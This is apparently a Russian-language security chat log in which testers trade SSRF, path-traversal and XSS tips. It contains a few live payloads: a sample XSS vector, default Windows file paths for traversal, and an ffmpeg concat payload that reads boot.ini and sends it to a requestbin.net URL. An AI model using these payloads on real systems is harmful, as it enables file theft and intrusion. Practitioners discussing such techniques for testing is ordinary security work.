AS
не, у меня тут напрямую, ssrf
Size: a a a
2020 May 19
M
Раз уж тут про Swissky заговорили, то у него есть в разделе PathTraversal - список дефолтныз виндовых файлов
BF
Но ты учти что если ты не в ц томе то тогда особо это не поможет против ssrf
AS
Раз уж тут про Swissky заговорили, то у него есть в разделе PathTraversal - список дефолтныз виндовых файлов
а, блин, капец, я не в том разделе смотрел, спасибо) помню же что видел
M
а, блин, капец, я не в том разделе смотрел, спасибо) помню же что видел
Но вообще классикой конечно считается:
C:\Windows\win.ini
Странно, что в списке сверху его нет
C:\Windows\win.ini
Странно, что в списке сверху его нет
IS
И system32 в корне как бы не то
P
там сверху линк откуда взяты пути - слепое чтение.
может эт не совсем то, что нужно
может эт не совсем то, что нужно
P
только сейчас представил как это звучит - слепое чтение
IS
только сейчас представил как это звучит - слепое чтение
Брайль перевернулся в гробу
AS
эх, чет не работает, пытаюсь ffmpeg проэксплутировать,
не работает, приходит пустой f=
concat:http://requestbin.net/r/*******?f=|file:///boot.ini
не работает, приходит пустой f=
AS
кучу нагрузок сувал уже, что еще можно попробовать?
IS
В корне install.log посмотри ( часто в корне других дисков наблюдал) если ты не на том диске или вебдиры. А он пути из переменных не воспринимает ? %temp% ?
IS
В корне install.log посмотри ( часто в корне других дисков наблюдал) если ты не на том диске или вебдиры. А он пути из переменных не воспринимает ? %temp% ?
env которые
S
https://github.com/adamtlangley/gitscraper/ кто еще знает кроме этого и seclists и fuzzdb чтобы листы были?
ЭК
В бурп дбавили КиберШеф плагин официально
Это что?
P
Это удобненько
D
Но какой смысл без magic было делать не понятно( зачем нужен ещё один декодер
m
Почему пейлоады вроде <img src=1 onerror=alert() /> вообще триггерят xss? Это часть стандарта HTML или приблуды браузеров? Потому что такие вещи не работают внутри тега script, так как, согласно html, всё, что внутри этого тега, считается обычным текстом и просто передается как есть в парсер javascript.